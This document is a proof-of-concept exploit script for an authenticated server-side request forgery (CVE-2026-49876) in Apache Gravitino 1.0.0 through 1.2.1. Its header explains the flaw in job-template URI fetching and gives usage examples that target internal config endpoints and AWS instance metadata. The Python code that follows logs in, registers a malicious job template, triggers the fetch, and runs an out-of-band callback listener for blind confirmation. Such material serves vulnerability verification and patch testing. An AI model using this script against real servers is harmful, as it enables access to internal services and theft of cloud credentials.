# Exploit Title: Apache Gravitino 1.2.1 - SSRF
# Google Dork: N/A
# Date: 2026-07-13
# Exploit Author: Ajay Rajpurohit
# Vendor Homepage: https://gravitino.apache.org/
# Software Link: https://github.com/apache/gravitino
# Version: 1.0.0 - 1.2.1
# Tested on: Ubuntu 22.04 LTS
# CVE: CVE-2026-49876
#
# Description:
# A Server-Side Request Forgery (SSRF) vulnerability exists in Apache Gravitino
# versions 1.0.0 through 1.2.1. The fetchFileFromUri() method in
# JobManager.java processes URIs from job template fields (executable, scripts,
# jars, files, archives) without validating the destination. It accepts http,
# https, and ftp schemes and downloads remote content to the server's staging
# directory via FileUtils.copyURLToFile().
#
# An authenticated attacker can:
# • Register a job template with an internal/metadata URL as the executable
# • Trigger a job run, forcing the server to fetch the URL
# • Read the downloaded content from the staging directory (if accessible)
# • Use OOB callbacks for blind SSRF detection
#
# References:
# CVE Record: https://nvd.nist.gov/vuln/detail/CVE-2026-49876
# Apache Advisory: https://lists.apache.org/thread/gravitino-ssrf-advisory
# Fixing Commit: https://github.com/apache/gravitino/commit/<commit-hash>
#
# --- Reproducibility ---
#
# Prerequisites:
# 1. Apache Gravitino 1.0.0 - 1.2.1 running (default port 8090)
# 2. A valid Gravitino user account (any role with job template privileges)
# 3. Python 3.8+ with `requests` library (pip3 install requests)
#
# Setup (if testing locally):
# wget https://dlcdn.apache.org/gravitino/1.2.0/gravitino-1.2.0-bin.tar.gz
# tar xzf gravitino-1.2.0-bin.tar.gz
# cd gravitino-1.2.0-bin
# ./bin/gravitino.sh start
#
# Expected output:
# [+] Authenticated as <user>
# [+] Template 'ssrf-poc-xxxxxx' registered
# [+] Job triggered — SSRF request sent to http://127.0.0.1:8090/configs
# [+] SSRF confirmed — server fetched internal resource
#
# Usage:
# # Direct SSRF — fetch internal config
# python3 gravitino_ssrf.py -t http://127.0.0.1:8090 -u admin -p admin \
# --url http://127.0.0.1:8090/configs
#
# # Cloud metadata (AWS IMDSv1)
# python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
# --url http://169.254.169.254/latest/meta-data/
#
# # Blind SSRF with OOB callback server
# python3 gravitino_ssrf.py -t http://target:8090 -u user -p pass \
# --url http://<your-ip>:8888/callback --oob --oob-port 8888
#
# Requirements:
# pip3 install requests
#
import argparse
import base64
import http.server
import json
import random
import socketserver
import string
import sys
import threading
import time
from datetime import datetime
try:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
print("[!] Missing dependency. Install: pip3 install requests")
sys.exit(1)
# ─── OOB Callback Server (blind SSRF) ──────────────────────────────────────
class CallbackHandler(http.server.BaseHTTPRequestHandler):
"""Minimal HTTP handler that logs incoming requests for blind SSRF detection."""
received = []
def log_message(self, fmt, *args):
return
def _respond(self, method):
body = b""
cl = int(self.headers.get("Content-Length", 0))
if cl > 0:
body = self.rfile.read(min(cl, 4096))
entry = {
"time": datetime.now().isoformat(),
"method": method,
"path": self.path,
"source": f"{self.client_address[0]}:{self.client_address[1]}",
"user_agent": self.headers.get("User-Agent", ""),
}
CallbackHandler.received.append(entry)
print(f"\n [+] OOB CALLBACK: {method} {self.path} from {entry['source']}")
print(f" User-Agent: {entry['user_agent']}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")
do_GET = lambda s: s._respond("GET")
do_POST = lambda s: s._respond("POST")
do_HEAD = lambda s: s._respond("HEAD")
do_PUT = lambda s: s._respond("PUT")
do_OPTIONS = lambda s: s._respond("OPTIONS")
def start_oob_server(port: int) -> None:
"""Start a background HTTP server on the given port for OOB callbacks."""
server = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
server.allow_reuse_address = True
t = threading.Thread(target=server.serve_forever, daemon=True)
t.start()
# ─── Gravitino REST Client ─────────────────────────────────────────────────
class Gravitino:
"""Minimal client for the Gravitino REST API — just enough for the PoC."""
def __init__(self, base_url: str, username: str, password: str,
metalake: str = "metalake", verify: bool = False):
self.base = base_url.rstrip("/")
self.username = username
self.password = password
self.metalake = metalake
self.s = requests.Session()
self.s.verify = verify
def login(self) -> bool:
"""Authenticate via OAuth2 token endpoint; fall back to Basic auth."""
# Try OAuth2
try:
r = self.s.post(
f"{self.base}/oauth2/token",
data={
"grant_type": "password",
"username": self.username,
"password": self.password,
"client_id": "gravitino_client",
"scope": "all",
},
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=15,
)
if r.status_code == 200:
token = r.json().get("access_token")
if token:
self.s.headers["Authorization"] = f"Bearer {token}"
print(f"[+] Authenticated via OAuth2 token")
return True
except Exception:
pass
# Fallback: Basic auth
creds = base64.b64encode(f"{self.username}:{self.password}".encode()).decode()
self.s.headers["Authorization"] = f"Basic {creds}"
try:
r = self.s.get(f"{self.base}/api/version", timeout=10)
if r.status_code == 200:
print(f"[+] Authenticated via Basic auth")
return True
except Exception:
pass
print("[!] Authentication failed. Provide valid credentials (-u / -p).")
return False
def ensure_metalake(self) -> bool:
"""Create the metalake if it doesn't exist."""
try:
r = self.s.get(f"{self.base}/api/metalakes/{self.metalake}", timeout=10)
if r.status_code == 200:
return True
except Exception:
pass
try:
r = self.s.post(f"{self.base}/api/metalakes",
json={"name": self.metalake, "comment": "", "properties": {}},
timeout=10)
if r.status_code in (200, 201, 409):
return True
except Exception:
pass
# Proceed anyway — metalake may already exist under a different name
return True
def trigger_ssrf(self, ssrf_url: str) -> bool:
"""Register a job template with the SSRF URL and trigger execution."""
name = "ssrf-poc-" + "".join(random.choices(string.ascii_lowercase, k=6))
print(f"[*] Registering template '{name}' with URL: {ssrf_url}")
# Step 1: Register template
template = {
"name": name,
"jobType": "shell",
"executable": ssrf_url,
"arguments": [],
}
try:
r = self.s.post(
f"{self.base}/api/metalakes/{self.metalake}/jobs/templates",
json={"jobTemplate": template},
timeout=15,
)
if r.status_code not in (200, 201):
print(f"[!] Template registration failed: {r.status_code} {r.text[:200]}")
return False
except requests.RequestException as e:
print(f"[!] Registration error: {e}")
return False
time.sleep(0.5)
# Step 2: Trigger job run
print(f"[*] Triggering job run...")
try:
r = self.s.post(
f"{self.base}/api/metalakes/{self.metalake}/jobs/runs",
json={"jobTemplateName": name},
timeout=15,
)
try:
body = r.json() if r.text else {}
except ValueError:
body = {}
if r.status_code == 200 and body.get("code") == 0:
print(f"[+] Job triggered — SSRF request sent")
return True
else:
# Even on some errors, the SSRF may have fired
print(f"[*] Response: {r.status_code} {r.text[:200]}")
return r.status_code == 200
except requests.RequestException as e:
print(f"[!] Trigger error: {e}")
return False
# ─── Main ──────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-49876 — Apache Gravitino 1.0.0-1.2.1 Authenticated SSRF",
epilog="""
Examples:
%(prog)s -t http://127.0.0.1:8090 -u admin -p admin --url http://127.0.0.1:8090/configs
%(prog)s -t http://target:8090 -u user -p pass --url http://169.254.169.254/latest/meta-data/
%(prog)s -t http://target:8090 -u user -p pass --url http://10.0.0.5:8080/ --oob --oob-port 8888
""",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument("-t", "--target", required=True,
help="Gravitino server (e.g. http://127.0.0.1:8090)")
parser.add_argument("-u", "--username", required=True, help="Username")
parser.add_argument("-p", "--password", required=True, help="Password")
parser.add_argument("--url", required=True,
help="SSRF target URL to fetch (e.g. http://169.254.169.254/latest/meta-data/)")
parser.add_argument("--metalake", default="metalake", help="Metalake name (default: metalake)")
parser.add_argument("--oob", action="store_true",
help="Start OOB callback server for blind SSRF detection")
parser.add_argument("--oob-port", type=int, default=8888,
help="Port for OOB callback server (default: 8888)")
parser.add_argument("--oob-wait", type=int, default=15,
help="Seconds to wait for OOB callbacks (default: 15)")
parser.add_argument("--proxy", default=None, help="HTTP proxy (e.g. http://127.0.0.1:8080)")
args = parser.parse_args()
print(f"\n[*] CVE-2026-49876 — Apache Gravitino Authenticated SSRF")
print(f"[*] Target: {args.target}")
print(f"[*] SSRF URL: {args.url}\n")
# Proxy
if args.proxy:
import os
os.environ["HTTP_PROXY"] = args.proxy
os.environ["HTTPS_PROXY"] = args.proxy
# OOB callback server
if args.oob:
start_oob_server(args.oob_port)
print(f"[*] OOB callback server listening on port {args.oob_port}")
# Auth
g = Gravitino(args.target, args.username, args.password, args.metalake)
if not g.login():
sys.exit(1)
# Ensure metalake
g.ensure_metalake()
# Exploit
success = g.trigger_ssrf(args.url)
# Wait for OOB callbacks
if args.oob:
print(f"[*] Waiting {args.oob_wait}s for OOB callbacks...")
time.sleep(args.oob_wait)
if CallbackHandler.received:
print(f"\n[+] Received {len(CallbackHandler.received)} OOB callback(s) — SSRF confirmed")
for cb in CallbackHandler.received:
print(f" {cb['method']} {cb['path']} from {cb['source']}")
else:
print(f"\n[-] No OOB callbacks received (server may not allow outbound HTTP)")
# Summary
print(f"\n{'='*50}")
print(f"{'[+] SSRF successful' if success else '[-] SSRF attempt failed'}")
print(f"{'='*50}\n")
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()
